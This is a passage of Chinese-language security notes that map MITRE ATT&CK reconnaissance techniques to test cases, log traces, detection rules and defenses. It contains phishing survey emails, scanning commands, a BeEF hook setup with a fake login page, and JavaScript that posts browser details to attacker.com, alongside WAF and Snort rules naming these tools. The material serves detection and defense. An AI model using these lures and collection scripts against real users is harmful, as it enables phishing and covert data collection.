**关联技术**:T1592.001(硬件信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露硬件型号或物联网设备信息。 **示例操作**: - 发送伪造邮件: ``` Subject: 设备支持调查 Body: 请提供您当前使用的摄像头型号、服务器型号或其他物联网设备信息:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
摄像头型号: 服务器型号:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 camera=Hikvision DS-2CD2143G0-I&server=Dell PowerEdge R740 ``` **说明**: - 钓鱼攻击可直接收集硬件信息。 - 关联 T1592.001:通过钓鱼获取硬件信息。 #### 测试案例 4:查询公开技术数据库 **关联技术**:T1592.001(硬件信息收集) **说明**: - 攻击者通过公开技术数据库(如 Shodan、Censys)或供应商网站查询目标组织的硬件信息,如摄像头或物联网设备型号。 **示例操作**: ```bash # 在 Shodan 查询目标 IP 的硬件信息 shodan host 192.168.1.10 # 或访问供应商网站(如 Hikvision、Dell)搜索设备信息 ``` **输出示例**: ``` IP: 192.168.1.10 Device: Hikvision DS-2CD2143G0-I Camera ``` **说明**: - 公开数据库或供应商网站可能暴露硬件型号。 - 关联 T1592.001:通过技术数据库获取硬件信息。 #### 测试案例 5:通过主动扫描识别硬件信息 **关联技术**:T1592.001(硬件信息收集)、T1046(网络服务扫描) **说明**: - 攻击者通过端口扫描或 Banner 抓取识别目标主机上运行的物联网设备或硬件信息。 **示例操作**: ```bash # 使用 Nmap 扫描目标主机 nmap -sV -p 80,554,37777 192.168.1.10 # 或使用 netcat 抓取 Banner nc 192.168.1.10 80 HEAD / HTTP/1.0 ``` **输出示例**: ``` Nmap scan report for 192.168.1.10 Port 554/tcp open rtsp Hikvision DS-2CD2143G0-I Port 37777/tcp open dahua-dvr Dahua DVR ``` **说明**: - `nmap -sV` 可识别物联网设备(如摄像头、DVR)的型号,Banner 抓取可暴露硬件信息。 - 关联 T1592.001:通过主动扫描收集硬件信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 使用 Shodan 查询目标 IP:`shodan host 192.168.1.10`。 - 搜索目标组织的职位发布或社交媒体,提取硬件相关关键词(如“摄像头”、“服务器”)。 - 访问供应商网站(如 Hikvision、Dell)查看设备信息。 - 使用 Nmap 扫描:`nmap -sV -p 80,554,37777 192.168.1.10`。 3. **预期结果**:返回硬件型号或物联网设备信息(如 `Hikvision DS-2CD2143G0-I Camera`, `Dell PowerEdge R740`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /careers HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 设备支持调查, URL: http://fake-survey.com ``` - **网络流量日志**(外部查询或扫描场景): ``` HTTP GET censys.io/api/v2/hosts/192.168.1.10 TCP 554, Source: 203.0.113.1, Request: HEAD / HTTP/1.0 ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、职位发布或社交媒体泄露硬件型号或物联网设备信息。 - 对技术文档或职位描述进行模糊化处理(如避免提及具体硬件型号)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **硬件安全管理**: - 定期更新硬件固件,修复已知漏洞。 - 对物联网设备(如摄像头)启用安全配置(如禁用默认端口、更改默认密码)。 3. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露硬件或物联网设备信息。 - 指导员工在社交媒体限制技术细节的分享(如避免提及摄像头或服务器型号)。 4. **主动 OSINT 评估**: - 使用 Shodan 或 Censys 模拟攻击者行为,评估公开硬件信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的硬件信息。 5. **网络安全配置**: - 使用防火墙限制对敏感端口(如 554、37777)的外部访问。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫或扫描行为。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用硬件信息的钓鱼邮件。 - **漏洞利用(T1190)**: - 关注针对硬件或物联网设备漏洞的攻击,如异常的设备访问请求。 - **供应链攻击(T1195)**: - 关注异常的硬件供应链请求,如伪造的供应商通信。 - **硬件添加(T1200)**: - 关注异常的硬件部署或配置更改。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织硬件或物联网设备的扫描或漏洞利用预警。 - 监控暗网或 Pastebin,识别泄露的硬件型号或配置。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK: T1592-001 ================================================ FILE: Windows/01侦察/T1592.002-收集目标组织主机信息-软件信息.md ================================================ # T1592-002-收集目标组织主机信息-软件信息 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机软件的信息(T1592.002)。这些信息可用于目标定位、了解系统配置或指导后续攻击活动(如漏洞利用 T1190、供应链攻击 T1195 或外部远程服务攻击 T1133)。软件信息通常包括主机上运行的软件类型、版本、补丁级别以及是否存在防御软件(如防病毒、SIEM、防火墙)。这些信息可能通过主动扫描、钓鱼或公开数据源暴露。由于这些活动通常在目标组织的视野之外(如攻击者的设备或公开数据源)进行,防御者难以直接发现。 攻击者收集软件信息的动机包括: - **漏洞利用**:通过识别软件版本,查找已知漏洞(如 CVE)以制定攻击策略。 - **绕过防御**:了解防病毒软件或 SIEM 的存在,开发规避技术(如免杀恶意软件)。 - **供应链攻击**:识别目标组织使用的第三方软件,寻找供应链弱点。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部软件信息收集方法,聚焦于公开数据源和主动扫描。 #### 测试案例 1:通过主动扫描识别软件信息 **关联技术**:T1592.002(软件信息收集)、T1046(网络服务扫描) **说明**: - 攻击者通过端口扫描或 Banner 抓取识别目标主机上运行的软件及其版本。 **示例操作**: ```bash :: 使用 Nmap 扫描目标主机 nmap -sV -p 80,443 192.168.1.10 :: 或使用 netcat 抓取 Banner nc 192.168.1.10 80 HEAD / HTTP/1.0 ``` **输出示例**: ``` Nmap scan report for 192.168.1.10 Port 80/tcp open http Apache/2.4.41 (Ubuntu) Port 443/tcp open https Apache/2.4.41 (Ubuntu) ``` **说明**: - `nmap -sV` 可识别服务版本,Banner 抓取可暴露 Web 服务器或应用信息。 - 关联 T1592.002:通过主动扫描收集软件信息。 #### 测试案例 2:使用在线指纹识别工具 **关联技术**:T1592.002(软件信息收集) **说明**: - 攻击者通过在线指纹识别网站(如 TSscan、云悉指纹)分析目标网站的软件栈。 **示例操作**: - 访问 。 - 输入目标 URL:`http://example.com`。 **输出示例**: ``` URL: example.com Web Server: Nginx/1.14.0 CMS: WordPress 5.9.2 Framework: PHP/7.4.3 ``` **说明**: - 在线工具通过 HTTP 头、页面特征等识别软件信息。 - 关联 T1592.002:通过在线工具收集软件信息。 #### 测试案例 3:社交媒体和公开文档收集 **关联技术**:T1592.002(软件信息收集) **说明**: - 攻击者通过 LinkedIn、公司官网或技术论坛(如 CSDN、Reddit)收集员工分享的软件信息。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/posts/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取软件相关信息 software_info = [post.text for post in soup.find_all(text=lambda t: "software" in t.lower() or "version" in t.lower())] print(software_info) ``` **输出示例**: ``` Post: "Upgraded our servers to Apache 2.4.41 and WordPress 5.9.2." Software: Apache 2.4.41, WordPress 5.9.2 ``` **说明**: - 员工可能在社交媒体或技术文档泄露软件版本。 - 关联 T1592.002:通过社交媒体获取软件信息。 #### 测试案例 4:钓鱼收集软件信息 **关联技术**:T1592.002(软件信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造邮件或调查问卷诱导员工泄露软件版本或配置信息。 **示例操作**: - 发送伪造邮件: ``` Subject: 系统维护调查 Body: 请提供您当前使用的 Web 服务器版本和 CMS 类型:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
Web 服务器: CMS 类型:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 webserver=Apache 2.4.41&cms=WordPress 5.9.2 ``` **说明**: - 钓鱼攻击可直接收集软件信息。 - 关联 T1592.002:通过钓鱼获取软件信息。 #### 测试案例 5:查询公开技术数据库 **关联技术**:T1592.002(软件信息收集) **说明**: - 攻击者通过公开技术数据库(如 Shodan、Censys)查询目标主机的软件信息。 **示例操作**: ```bash :: 在 Shodan 查询目标 IP 的软件信息 shodan host 192.168.1.10 :: 或在 Censys 查询 curl -H "Authorization: Basic YOUR_API_KEY" "https://search.censys.io/api/v2/hosts/192.168.1.10" ``` **输出示例**: ``` IP: 192.168.1.10 Service: HTTP, Software: Apache/2.4.41 Service: HTTPS, Software: OpenSSL/1.1.1 ``` **说明**: - 公开数据库可暴露服务器软件版本。 - 关联 T1592.002:通过技术数据库获取软件信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有 `nmap` 或浏览器的系统。 2. **步骤**: - 使用 Nmap 扫描:`nmap -sV -p 80,443 192.168.1.10`。 - 访问在线指纹识别工具(如 ),输入 `http://example.com`。 - 搜索 LinkedIn 或公司官网,提取软件相关信息。 - 使用 Shodan 或 Censys 查询目标 IP:`shodan host 192.168.1.10`。 3. **预期结果**:返回 Web 服务器、CMS 或其他软件版本(如 `Apache 2.4.41`, `WordPress 5.9.2`)。 ## 测试留痕 ### 外部场景 - **网络流量日志**: ``` TCP 80, Source: 203.0.113.1, Request: HEAD / HTTP/1.0 ``` - **Web 服务器日志**: ``` 203.0.113.1 - - [26/May/2025:08:30:00 +0000] "GET /about HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 系统维护调查, URL: http://fake-survey.com ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、职位发布或社交媒体泄露软件版本或配置信息。 - 对技术文档进行模糊化处理(如避免提及具体软件版本)。 - 配置 Web 服务器隐藏 Banner 信息(如修改 Apache/Nginx 的 `Server` 头)。 2. **软件安全管理**: - 定期更新软件,修复已知漏洞。 - 部署防病毒和 EDR 解决方案,防范基于软件信息的攻击。 3. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露软件信息。 - 指导员工在社交媒体限制技术细节的分享(如避免提及软件版本)。 4. **主动 OSINT 评估**: - 使用 Nmap 或在线指纹识别工具(如 TSscan、云悉指纹)模拟攻击者行为,评估公开软件信息的暴露程度。 - 定期检查 Pastebin、暗网或 Shodan,识别泄露的软件版本。 5. **网络安全配置**: - 使用防火墙限制对敏感端口(如 80、443)的外部扫描。 - 部署 WAF(Web 应用防火墙)拦截异常扫描或爬虫行为。 ### 后续阶段监控 - **漏洞利用(T1190)**: - 关注针对已知软件漏洞的攻击,如异常的 HTTP 请求。 - **供应链攻击(T1195)**: - 关注异常的软件更新请求或伪造的供应商通信。 - **外部远程服务(T1133)**: - 关注针对暴露服务的异常登录尝试。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织软件的扫描或漏洞利用预警。 - 监控暗网或 Pastebin,识别泄露的软件版本或配置。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK:T1592-002 - 指纹识别大全 - Nmap 文档 - 在线指纹识别工具 - TSscan: - 云悉指纹: - WhatWeb: - BugScaner: ================================================ FILE: Windows/01侦察/T1592.003-收集目标组织主机信息-固件信息.md ================================================ # T1592-003-收集目标组织主机信息-固件信息 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机固件的信息(T1592.003)。这些信息可用于目标定位、了解主机配置或指导后续攻击活动(如供应链攻击 T1195、漏洞利用 T1190 或固件修改 T1542.002)。固件信息通常包括主机上固件的类型、版本、补丁级别等,可能揭示目标环境的硬件配置、用途或安全状态(如过时固件易受已知漏洞攻击)。由于这些活动通常在目标组织的视野之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。 攻击者收集固件信息的动机包括: - **推测主机配置**:通过固件版本推断硬件类型、操作系统或补丁状态,为漏洞利用提供情报。 - **定制攻击向量**:利用固件信息开发针对特定硬件的恶意代码或供应链攻击。 - **供应链攻击**:识别供应链中使用的固件版本,寻找可利用的弱点。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部固件信息收集方法,聚焦于公开数据源和社交工程。 #### 测试案例 1:通过职位发布收集固件信息 **关联技术**:T1592.003(固件信息收集) **说明**: - 攻击者通过招聘网站(如智联招聘、LinkedIn)或公司官网的职位描述,提取与硬件或固件相关的信息。 **示例操作**: - 搜索目标组织的职位发布,关键词包括“固件”、“BIOS”、“UEFI”或“嵌入式系统”。 - 示例职位描述: ``` 招聘固件工程师,熟悉 Intel UEFI 固件开发,需支持 BIOS v2.7.1。 ``` **输出示例**: ``` Organization: example.com Firmware: Intel UEFI BIOS v2.7.1 Hardware: Intel-based servers ``` **说明**: - 职位发布可能泄露固件版本或硬件类型。 - 关联 T1592.003:通过公开招聘信息收集固件数据。 #### 测试案例 2:社交媒体爬取固件信息 **关联技术**:T1592.003(固件信息收集) **说明**: - 攻击者通过 LinkedIn、Twitter 或技术论坛(如 Reddit)收集员工分享的固件相关信息。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/posts/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取固件相关信息 firmware_info = [post.text for post in soup.find_all(text=lambda t: "firmware" in t.lower() or "BIOS" in t.lower())] print(firmware_info) ``` **输出示例**: ``` Post: "Upgraded our servers to Dell BIOS v1.9.2 for better performance." Firmware: Dell BIOS v1.9.2 Hardware: Dell servers ``` **说明**: - 员工可能在社交媒体分享固件升级或硬件配置信息。 - 关联 T1592.003:通过社交媒体获取固件信息。 #### 测试案例 3:钓鱼收集固件信息 **关联技术**:T1592.003(固件信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露固件版本或硬件信息。 **示例操作**: - 发送伪造邮件: ``` Subject: 硬件支持调查 Body: 请提供您设备的固件版本(如 BIOS/UEFI)和型号以协助技术支持:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
设备型号: 固件版本:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 model=Dell PowerEdge R740&firmware=BIOS v1.9.2 ``` **说明**: - 钓鱼攻击可直接收集固件信息。 - 关联 T1592.003:通过钓鱼获取固件信息。 #### 测试案例 4:查询公开技术数据库 **关联技术**:T1592.003(固件信息收集) **说明**: - 攻击者通过公开的技术数据库(如 Shodan、Censys)或供应商网站查询目标组织的固件信息。 **示例操作**: ```bash # 在 Shodan 查询目标 IP 的固件信息 shodan host 192.168.1.10 # 或访问供应商网站(如 Dell、HP)搜索固件更新日志 ``` **输出示例**: ``` IP: 192.168.1.10 Device: Dell PowerEdge R740 Firmware: BIOS v1.9.2 ``` **说明**: - 公开数据库或供应商网站可能暴露固件版本。 - 关联 T1592.003:通过技术数据库获取固件信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 使用 Shodan 查询目标 IP:`shodan host 192.168.1.10`。 - 搜索目标组织的职位发布或社交媒体,提取固件相关关键词(如“BIOS”、“UEFI”)。 - 访问供应商网站(如 Dell、HP)查看固件更新日志。 3. **预期结果**:返回固件版本或硬件信息(如 `Dell BIOS v1.9.2`)。 ## 测试留痕 ### 外部场景 - **Web 服务器日志**(若爬取官网): ``` 203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /careers HTTP/1.1" 200 1234 ``` - **邮件网关日志**(钓鱼场景): ``` Email from: support@fake.com, Subject: 硬件支持调查, URL: http://fake-survey.com ``` - **网络流量日志**(外部查询场景): ``` HTTP GET censys.io/api/v2/hosts/192.168.1.10 ``` ## 建议 ### 防御措施 1. **减少公开信息暴露**: - 避免在官网、职位发布或社交媒体泄露固件版本或硬件配置。 - 对技术文档或职位描述进行模糊化处理(如避免提及具体固件版本)。 - 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。 2. **固件安全管理**: - 定期更新固件,修复已知漏洞。 - 使用供应商提供的安全固件(如支持 TPM 或 Secure Boot)。 3. **员工培训**: - 教育员工识别钓鱼邮件,避免泄露固件或硬件信息。 - 指导员工在社交媒体限制技术细节的分享(如避免提及固件版本)。 4. **主动 OSINT 评估**: - 使用 Shodan 或 Censys 模拟攻击者行为,评估公开固件信息的暴露程度。 - 定期检查 Pastebin 或暗网,识别泄露的硬件信息。 5. **网络安全配置**: - 使用防火墙限制对敏感服务的外部访问。 - 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。 ### 后续阶段监控 - **钓鱼攻击(T1566)**: - 关注利用固件信息的钓鱼邮件。 - **漏洞利用(T1190)**: - 关注针对固件漏洞的攻击,如异常的固件更新请求。 - **供应链攻击(T1195)**: - 关注异常的固件供应链请求,如伪造的供应商通信。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织硬件或固件的扫描或漏洞利用预警。 - 监控暗网或 Pastebin,识别泄露的固件版本或硬件配置。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ## 参考推荐 - MITRE ATT&CK:T1592-003 - OSINT Framework - CISA 供应链安全指南 ================================================ FILE: Windows/01侦察/T1592.004-收集目标组织主机信息-客户端配置.md ================================================ # T1592.004-收集目标组织主机信息-客户端配置 ## 描述 攻击者在入侵目标组织之前,可能收集目标客户端设备的配置信息,以支持目标定位和攻击规划。客户端配置信息包括操作系统类型/版本、虚拟化环境、体系结构(32位或64位)、语言设置、时区、浏览器类型/版本、User-Agent字符串或其他环境变量。这些信息可帮助攻击者了解目标设备的技术环境,识别潜在漏洞或定制攻击payload。 攻击者可能通过以下方式收集客户端配置信息: - **主动扫描**:通过网络嗅探或Banner抓取获取User-Agent、操作系统或浏览器信息。 - **钓鱼攻击**:通过恶意网页或邮件诱导用户访问,运行脚本(如JavaScript)收集客户端配置。 - **恶意代码植入**:在受损网站植入恶意脚本(如BeEF框架),捕获访问者的设备信息。 - **公开信息搜刮**:分析公开数据(如职位发布、泄露文档、社交媒体)推测客户端配置。 - **社会工程**:伪装成合法实体,诱导员工泄露设备配置或管理凭据。 收集到的信息可能为后续攻击活动做准备,例如搜索开放网站/域(T1593)、搜索公开技术数据库(T1596)、建立运营资源(T1583/T1584)或通过供应链攻击(T1195)或外部远程服务(T1133)实现初始访问。 ## 测试案例 以下是模拟攻击者收集客户端配置信息的常见方法和工具: - **BeEF(Browser Exploitation Framework)** (): - 用于通过浏览器漏洞收集客户端信息(如操作系统、浏览器版本、插件)。 - 示例:设置钓鱼页面,诱导用户访问并运行BeEF脚本。 ```html ``` - **JavaScript信息收集**: - 嵌入恶意JavaScript代码,收集User-Agent、语言、时区等信息。 ```javascript var info = { userAgent: navigator.userAgent, platform: navigator.platform, language: navigator.language, screen: screen.width + "x" + screen.height }; fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify(info) }); ``` - **钓鱼页面**: - 创建伪装的登录页面,诱导用户访问并收集客户端信息。 - 示例:伪装成公司内部门户,嵌入BeEF或自定义脚本。 - **公开信息搜刮**: - 使用OSINT工具(如theHarvester)从社交媒体或公开文档提取员工设备信息。 ```bash theharvester -d target.com -b linkedin -l 100 -f output.html ``` - **案例场景**: - 攻击者通过钓鱼邮件诱导员工访问包含BeEF脚本的页面,收集浏览器版本和操作系统信息,定制针对性漏洞利用。 - 使用JavaScript脚本从目标网站访客中提取User-Agent,推测目标组织使用的Windows版本。 - 参考案例:,通过BeEF收集客户端配置并发起后续攻击。 ## 检测日志 客户端配置信息收集多通过公开渠道或外部交互进行,难以直接监测。以下是可能的日志来源: - **Web服务器日志**: - 记录异常的HTTP请求,如包含恶意脚本的页面访问或异常User-Agent。 - **WAF日志**: - 检测被WAF拦截的恶意脚本请求或钓鱼页面访问。 - **邮件服务器日志**: - 监控钓鱼邮件,可能与收集客户端信息的恶意链接相关。 - **网络流量日志**: - 检测异常的HTTP/HTTPS流量,如向外部服务器发送客户端配置数据。 - **端点日志**: - 记录浏览器或客户端设备的异常行为,如运行未知JavaScript。 ## 测试复现 以下是模拟客户端配置信息收集的步骤: 1. **环境准备**: - 在授权测试环境中搭建目标网站和钓鱼页面。 - 配置BeEF服务器或自定义JavaScript脚本。 2. **信息收集**: - 部署BeEF: ```bash sudo apt install beef-xss beef-xss # 启动BeEF服务器,默认监听http://localhost:3000 ``` - 创建钓鱼页面,嵌入BeEF脚本: ```html Login

TargetCorp Login

``` - 使用JavaScript收集客户端信息: ```javascript var info = { userAgent: navigator.userAgent, platform: navigator.platform, language: navigator.language }; fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify(info) }); ``` 3. **社会工程模拟**: - 发送钓鱼邮件,诱导员工访问包含恶意脚本的页面。 4. **结果分析**: - 在BeEF控制面板查看收集到的客户端信息(如操作系统、浏览器版本)。 5. **日志收集**: - 收集Web服务器、WAF和网络流量日志,验证脚本执行或数据外传痕迹。 ## 测试留痕 客户端配置信息收集可能留下以下痕迹: - **Web服务器日志**:异常HTTP请求,如访问包含BeEF脚本的页面或异常User-Agent。 - **WAF/IDS告警**:触发恶意脚本检测规则或异常POST请求。 - **网络流量**:向外部服务器发送的异常HTTP/HTTPS数据包,包含客户端配置信息。 - **邮件服务器日志**:钓鱼邮件或社会工程交互记录。 - **端点日志**:浏览器执行未知JavaScript的记录。 ## 检测规则/思路 由于客户端配置信息收集多发生在目标组织监测范围之外,检测需结合多种手段: - **Web流量监控**: - 使用WAF(如Cloudflare、ModSecurity)检测异常JavaScript请求或已知恶意脚本(如BeEF的`hook.js`)。 - 示例WAF规则: ```nginx if ($http_user_agent ~* "BeEF" || $request_uri ~* "hook.js") { return 403; } ``` - 监控异常的POST请求,可能包含客户端配置数据。 - **网络流量分析**: - 使用IDS/IPS(如Snort、Suricata)检测向外部服务器发送的异常流量。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Client Data Exfiltration"; content:"userAgent"; content:"platform"; content:"language"; sid:1000001;) ``` - **邮件监控**: - 使用DLP(数据丢失防护)工具检测钓鱼邮件,重点检查包含恶意链接的邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links Condition: Email contains "http" AND "login" AND NOT "target.com" Action: Alert ``` - **端点保护**: - 部署EDR(端点检测与响应)工具,监控浏览器执行的异常脚本。 - 配置浏览器策略,限制未知来源的JavaScript执行。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意IP或BeEF服务器域名。 - 监控Pastebin或暗网论坛,检查是否出现组织的客户端配置数据。 ## 建议 - **减少信息暴露**: - 限制员工在公开渠道(如社交媒体、职位发布)泄露设备配置信息。 - 使用浏览器隐私设置,限制User-Agent或其他配置的暴露。 - **安全意识培训**: - 对员工进行钓鱼防御培训,警惕伪装的登录页面或恶意链接。 - 教育员工避免点击未知来源的链接或访问可疑网站。 - **安全加固**: - 配置WAF拦截恶意脚本请求,保护公开网站。 - 实施MFA保护与客户端相关的账户或系统。 - 使用EDR工具监控端点上的异常脚本执行。 - **主动监控与响应**: - 部署Web日志分析工具(如Splunk、ELK),监控异常HTTP请求。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的客户端信息收集活动。 - 定期检查公开数据泄露,评估客户端配置暴露风险。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1195、钓鱼T1566),通过异常流量或登录行为间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1592-004 - BeEF - 渗透工具使用指南 - 全流程信息收集方法总结 ================================================ FILE: Windows/01侦察/T1593.001-搜索开放的域和网站-社交媒体.md ================================================ # T1593.001-搜索开放的域和网站-社交媒体 ## 描述 攻击者在入侵目标组织之前,可能通过搜索社交媒体平台收集目标的公开信息。社交媒体(如LinkedIn、微博、Twitter、Facebook)可能包含有关目标组织或员工的详细信息,例如员工姓名、职位、联系方式(邮箱、电话)、工作动态、组织结构、业务关系或个人生活细节(如上下班时间、常用工具)。这些信息可帮助攻击者构建目标的社交网络图、识别关键人员或发现潜在攻击入口。 攻击者可能通过以下方式收集社交媒体信息: - **公开信息搜刮**:手动浏览或使用爬虫工具(如OSINT Framework、Maltego)提取员工或组织的社交媒体数据。 - **社会工程**:通过伪装身份(如添加好友、假冒同事)获取目标的信任,收集更多信息。 - **泄露数据挖掘**:分析Pastebin、暗网论坛或其他平台上泄露的社交媒体数据。 - **自动化工具**:使用专门的OSINT工具(如SpiderFoot、theHarvester)提取邮箱、电话或关联账户。 收集到的信息可能为后续攻击活动做准备,例如钓鱼(T1566)、搜索开放技术数据库(T1596)、建立运营资源(T1583/T1584)或通过外部远程服务(T1133)或有效账户(T1078)实现初始访问。 ## 测试案例 以下是模拟攻击者通过社交媒体收集信息的常见方法和工具: - **手动搜刮**: - 在LinkedIn搜索目标组织的员工,提取姓名、职位和邮箱。 ```bash site:linkedin.com "TargetCorp" "manager" # 搜索TargetCorp的经理信息 ``` - 在微博或Twitter上搜索目标员工的动态,收集工作习惯或联系方式。 ```bash from:TargetCorp_employee project # 搜索员工关于项目的推文 ``` - **OSINT工具**: - **theHarvester** (): 提取目标组织的邮箱和员工信息。 ```bash theharvester -d target.com -b linkedin -l 100 -f output.html # 从LinkedIn搜索target.com相关的邮箱,限制100条结果 ``` - **Maltego** (): 构建目标组织的社交网络图,分析员工关系。 - **SpiderFoot** (): 自动化收集目标的社交媒体数据。 ```bash spiderfoot -m sfp_linkedin -t target.com -s output.json # 收集target.com的LinkedIn信息 ``` - **社交媒体爬虫**: - 使用Python脚本爬取目标的社交媒体页面: ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/targetcorp" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') employees = soup.find_all('a', class_='employee-name') for emp in employees: print(emp.text) ``` - **社会工程**: - 伪装成行业同行添加目标员工为好友,观察其动态或私信套取信息。 - 发送钓鱼邮件,伪装成LinkedIn通知,诱导员工泄露凭据。 - **案例场景**: - 使用theHarvester从LinkedIn收集目标组织的员工邮箱,发起针对性钓鱼攻击。 - 通过Twitter搜索员工动态,发现使用的内部工具(如Slack),推测登录入口。 - 参考案例:,通过社交媒体OSINT发现关键员工信息,结合钓鱼实现初始访问。 ## 检测日志 社交媒体信息收集多通过公开渠道进行,难以直接监测。以下是可能的日志来源: - **邮件服务器日志**: - 检测钓鱼邮件或社会工程攻击,可能与社交媒体收集的邮箱相关。 - **Web服务器日志**: - 记录异常的HTTP请求,如高频爬取或异常User-Agent,可能与社交媒体数据搜刮相关。 - **身份认证日志**: - 监控与社交媒体账户关联的异常登录尝试。 - **DLP日志**: - 检测员工通过邮件或社交媒体泄露敏感信息。 ## 测试复现 以下是模拟社交媒体信息收集的步骤: 1. **环境准备**: - 在授权测试环境中模拟目标组织的社交媒体账户(如LinkedIn公司页面、员工Twitter)。 2. **信息收集**: - 使用Google搜索: ```bash site:linkedin.com "TargetCorp" "engineer" ``` - 运行theHarvester: ```bash theharvester -d target.com -b linkedin -l 100 -f output.html ``` - 使用SpiderFoot: ```bash spiderfoot -m sfp_linkedin -t target.com -s output.json ``` 3. **社会工程模拟**: - 在红队测试中,伪装成同行添加目标员工为好友,收集动态信息。 - 发送伪装的LinkedIn通知邮件,诱导员工泄露凭据。 4. **结果分析**: - 整理收集到的邮箱、职位和动态信息,分析潜在攻击入口。 5. **日志收集**: - 收集邮件服务器、Web服务器和DLP日志,验证社会工程或爬虫痕迹。 ## 测试留痕 社交媒体信息收集可能留下以下痕迹: - **Web服务器日志**:异常HTTP请求,如高频爬取或异常User-Agent(如`python-requests`)。 - **邮件服务器日志**:钓鱼邮件或社会工程交互记录。 - **社交媒体平台日志**:异常的账户访问或好友请求,可能表明伪装行为。 - **DLP告警**:员工泄露敏感信息到社交媒体的记录。 ## 检测规则/思路 由于社交媒体信息收集多发生在目标组织监测范围之外,检测需结合多种手段: - **邮件流量监控**: - 使用DLP工具检测异常的邮件模式,如伪装成社交媒体通知的钓鱼邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Emails Condition: Email contains "linkedin.com" AND "password reset" Action: Alert ``` - **Web流量监控**: - 使用WAF(如Cloudflare、ModSecurity)检测异常爬虫行为,匹配常见OSINT工具的User-Agent。 - 示例WAF规则: ```nginx if ($http_user_agent ~* "(theHarvester|SpiderFoot|python-requests)") { return 403; } ``` - **社交媒体监控**: - 使用第三方工具(如Brand24、Hootsuite)监控组织在社交媒体上的提及。 - 检测异常的好友请求或私信,可能与社会工程相关。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的OSINT工具IP或钓鱼模式。 - 监控Pastebin或暗网论坛,检查是否出现组织的员工数据。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联邮件、Web和身份认证日志,检测异常的社会工程或爬取行为。 ## 建议 - **减少信息暴露**: - 指导员工限制社交媒体上的敏感信息发布,如工作邮箱、内部工具或动态。 - 配置社交媒体账户为私有,限制公开访问。 - 定期检查LinkedIn、微博等平台上的组织信息,移除不必要的细节。 - **安全意识培训**: - 对员工进行社会工程防御培训,警惕伪装的好友请求或钓鱼邮件。 - 教育员工避免在社交媒体上泄露工作相关信息。 - **安全加固**: - 实施MFA保护与员工社交媒体账户关联的邮箱或系统。 - 配置WAF拦截异常爬虫请求,保护公开网站。 - **主动监控与响应**: - 使用Google Alerts或Brand24监控与组织的社交媒体提及。 - 部署DLP工具,检测敏感信息泄露到社交媒体。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的社交媒体侦察活动。 - **后续阶段检测**: - 